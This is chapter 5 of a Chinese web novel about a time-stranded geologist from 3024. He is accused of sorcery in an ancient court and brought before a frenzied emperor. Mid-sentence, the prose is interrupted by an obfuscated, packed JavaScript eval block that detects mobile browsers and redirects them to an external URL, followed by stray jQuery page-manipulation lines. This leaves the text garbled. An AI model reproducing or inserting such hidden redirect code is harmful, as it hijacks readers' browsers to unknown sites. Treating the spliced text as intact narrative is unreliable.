5. 为何拜我?

作品:《我伪装成神

    众人闻言,皆是大惊失色,太常的面色也霎时变得苍白,眉宇间满是惶恐。


    他急忙问道:“什么?陛下如何了?”


    那侍从慌乱不已,连声道:“陛下……陛下不知为何,突然狂躁异常,抽出侍卫的刀连杀两位大臣!口中还念叨着要见太常寺卿!”


    太常面色惨白,转头对祁思无道:“莫非是你致使圣上龙体抱恙!”


    祁思无心中一紧,连忙开口:“怎么又是我?你说是就是?那我还说是你施法让皇上疯了呢?”


    太常闻言大怒道:“倒反天罡!休得狡辩!此人召来妖火,加害圣上,罪无可赦。来人,将他压至太常寺大牢,若圣上龙体有恙,便即刻将其伏诛,以祭圣安!”


    此言一出,礼官们虽心有不忍,但奈何加害皇上的罪名实在太大,极易遭受牵连。


    他们虽不愿祁思无就此送命,却也不敢违抗太常的命令,只得照办。


    一人道:“可是太常大人,他会仙术!万一……”


    太常一听,面色一变,即刻又强词道:“仙术?那是妖法!他不是说他不会妖法?天子脚下,我倒要看他能翻出什么花样!”


    那小礼官只好作罢,神色复杂地将祁思无绑住。


    一旁的龙骧军将士们低声议论,显然对太常的处置多有不满。


    祁思无孤身力战妖物,救下众人,此刻虽已平定祸乱,可众将士看着他被太常寺诸人指责,心中难平。


    凌慎站在台阶之上,长身玉立。


    他将三皇子轻轻抱起,动作轻缓地放在步撵之上,为其整理好衣袍。


    月色自殿顶洒落,映得他侧颜轮廓愈发清冷。


    “若无少卿大人……”他放缓了语速:“恐怕诸位早已成了怪物的口中之物。”


    龙骧军将士们察言观色,纷纷低声附和:“将军说得是,若非少卿大人及时赶到,怕是……”


    “凌将军这是要插手我太常寺的事?”太常寺卿捋着胡须冷笑:“本官倒不知,龙骧军如今已成了这般包揽天下的存在。”


    他慢条斯理地踱了两步,目光阴鸷:“打仗也就罢了,连朝廷吏治也要管,莫非凌将军是要效仿当年的……”


    “太常大人慎言。”李副尉眉心一跳。


    祁思无忍不住开口:“我要是能召黑火,岂不是得第一个烧你这个……”


    “老登”二字还未出口,便被凌慎打断。


    “太常寺内务,本将确实不便插手。”凌慎冷言道。


    他的目光在祁思无身上停留了一瞬,眸光深邃难测。


    龙骧军将士虽对太常心生不满,却也不敢多言,凌慎此话一出,众人都屏息以待。


    “但妖火之事,事关军机。“凌慎眸色一沉:“既然太常寺提及此人与黑火有关,龙骧军自当彻查。”


    祁思无听到这里,心头猛地一跳,暗道不妙。


    凌慎的语气忽然转冷,竟不像是要替他说话。


    “李副尉。”


    诸人屏息。


    “太常寺少卿涉妖火一案,即刻押往昭文殿——待圣上亲自发落。”凌慎语毕,四周再无声响。


    此言一出,祁思无如遭雷击。


    这一顿输出,简直就是超级加倍!


    缓刑直接变成死刑立即执行!


    他人都傻了心道:皇帝在发疯乱砍人,现在把我送过去,岂不是要当场杀了我给大伙助助兴?


    怎么?难道砍脑袋还要砍出个花样?


    泗水之战?妖火?皇上龙体抱恙?他根本不知这是怎么回事,就被扯上了?


    现在直接砍头入坟一条龙?


    他正欲开口反驳,却恰好对上凌慎淡漠的目光。


    那双眼眸深邃如古井,似有一丝难以察觉的波动,转瞬即逝。


    祁思无愣了一瞬,几乎以为只是月色下的错觉。


    方才还对祁思无满怀敬意的将士们,此刻也陷入了沉默,不敢违抗军令。


    祁思无下意识想后退,却发现背后已经围了一圈侍卫。


    这可不是什么好兆头。


    虽然他还没搞清楚状况,但知道此刻越是慌乱越容易出事。


    他开口质问:“你……”


    一旁的副尉见状连忙用布巾绑住祁思无的嘴巴。


    他无奈劝阻道:“莫再说什么大逆不道的话了!如今事情还有一线生机,且为你的家人着想!”


    一旁的小礼官叹气道:“哎,他九族都没啦,只剩下他一个啦。”


    “李副尉。”凌慎忽然开口,微不可察地顿了顿:“务必好生看管,不得有任何闪失。”


    说罢他扫视过周围的将士,沉声道:“封锁天德殿,任何人不得靠近。”


    夜风拂过,吹动了凌慎的衣袂。


    他立在月下,身形清峻如玉,让人看不透他眼中究竟藏着怎样的心思。


    侍卫们不敢怠慢,迅速架起木栏,将天德殿的入口封死,防止好奇者闯入。


    凌慎骑在马上,稳坐高处,目不斜视。


    三皇子则依旧一幅被吓得神魂不存的样子,端坐于步辇之上。


    一名小校悄声道:“将军今日竟亲自要押人,当真奇怪。”


    “住嘴!”李副尉看了他一眼。


    祁思无被绑得太紧,步履蹒跚。


    凌慎始终骑在马上不发一言,却暗中放慢了马速,让队伍前行的节奏也不知不觉慢了下来。


    祁思无随众人走在宫墙长廊中,前往皇帝设宴的昭文殿。


    他心中怒骂,这是救了帮什么东西?早知道就该一激光轰死这帮白眼狼。


    长廊尽头,白雪与刚落下的冰雹混杂在一起,四下静谧非常。


    唯有寒风掠过,卷起衣角,寒鸦偶尔低鸣,显得越发寂寥。


    他回首望去,众礼官和龙骧军紧随其后,神情各异,却无一人出声。


    祁思无心中忍不住腹诽:这鬼地方,宫殿倒是修得金碧辉煌,却冷清得像个死城,怕不是马上就要亡国了。


    回想今日发生的一切,简直如梦一般,不真实得仿佛在另一个世界。


    他闭上眼,脑海中浮现出环轨基地流光溢彩的景象。


    家人还在那里等他归来,基地即将报废,全靠这次任务的报酬才能让一家人搬到更好的星球生活。


    谁知一觉醒来,竟坠入这般困境。


    飞船残骸早已化为齑粉,通讯器发出的信号石沉大海。


    在这片古老的土地上,他形单影只,连逃生的方向都不知该往何处寻。


    理论上,他掌握的高阶科技知识足以在这个时代呼风唤雨。


    可3024年的科技大多数运算都依赖智能程序。


    即便他是顶尖的地质学家,要在这里从零开始重建科技树,无异于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030953|162316||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蚂蚁撼树。


    更何况,他的目标是跨越千年光阴,穿越浩瀚星河。


    在这个处处危机的世界,他连活命都成问题。


    祁思无眉头紧锁,一想到归途遥遥,生路茫茫,脑子就纷乱如麻。


    飞船残骸中有三具尸骨,其余两位队友下落不明。若他们还活着,在这陌生的王朝中或可相互照应。


    但眼下情势凶险,只能静待时机。


    昭文殿近在眼前,四周红漆金瓦,雕栏玉砌,十份庄重。


    此处空旷开阔,寒风刮得更加猛烈,卷起地上薄雪,掠过他的衣衫,寒意直透心底。


    长廊之外,风云暗涌,宫墙内压抑的气氛让他感到一丝前所未有的不安。


    祁思无哼了两声,示意有话要说,这布巾勒得太紧,连呼吸都不顺畅。


    “放松些。”凌慎忽地开口,目不斜视:“别勒坏了少卿大人。”


    副尉连忙松了松布巾。


    祁思无趁机打岔道:“我们这么多人,一身血气,浑身脏乱,岂不是会惊扰陛下,是不是得先去洗洗干净?”


    侍从略显敷衍地回道:“大人言之有理,只是圣命在前,不敢耽误,还请速速前行。


    祁思无心头一紧,拖延计划未成。正欲说什么,忽觉凌慎目光落在他身上。那双眼睛深不见底,叫人看不透半分心思。


    他只好不动声色,随众人继续前行。


    思绪如潮,片刻不停,他暗中观察沿途的宫墙、高楼,想要找寻一丝可以利用的机会。


    可惜这鬼地方就像鸟笼一样,高墙背后有高墙,令人窒息。


    前方忽然传来一阵脚步声,祁思无抬眼望去,数不清的侍卫分列两旁,月下映出长影。


    凌慎挥手,让侍从带着三皇子停留在院中的廊桥上。


    远处隐隐传来骚动声,一名皇上的贴身侍从慌慌张张地奔来,神情惊恐。


    “不妙!太常大人快来!陛下又要砍人了!”那侍从气喘吁吁,声音颤抖。


    昭文殿薄薄的门纸后,烛光摇曳不定,祁思无隐约看见一个高大的身影,手握长刀,犹如鬼魅在狂舞。


    那人影的动作时而迅猛,时而摇曳,手起刀落,顷刻间血浆飞溅。


    鲜红血液流淌在洁白的门纸上,宛如红梅盛开,令人触目惊心。


    凌慎迅速推门,闯入大殿之内,太常寺众人紧随其后。


    而祁思无则被押解在最后的角落之中。


    殿内的烛光通明,一片混乱。


    那高大的身影穿着华贵的服饰,金丝绣纹在灯火下微微闪烁,宛如龙鳞。


    他正挥舞着一柄长刀,刀身锋利至极。


    席间酒菜丰盛,唯独无人敢动筷,一旁的官员们正瑟缩着,神情恍惚,不敢发出一丝声响。


    在宴席的中央,赫然摆放着一只精致的玉盘,一颗妃子的头颅正静静地摆在盘中。


    她的面容依旧如花似玉,安静地矗立在众人面前。


    “皇上——”众人惊骇万分。


    皇帝酒气冲天,手中端起妃子的头颅,摇摇晃晃地经过凌大将军,又绕过太常大人。


    最后在祁思无面前停了下来。


    祁思无手上捆着麻绳,嘴上带着布条,既无法动弹,又不能言语,满脸疑惑的看着面前这位皇帝。


    只见皇帝端着妃子脑袋,就给祁思无跪了下来。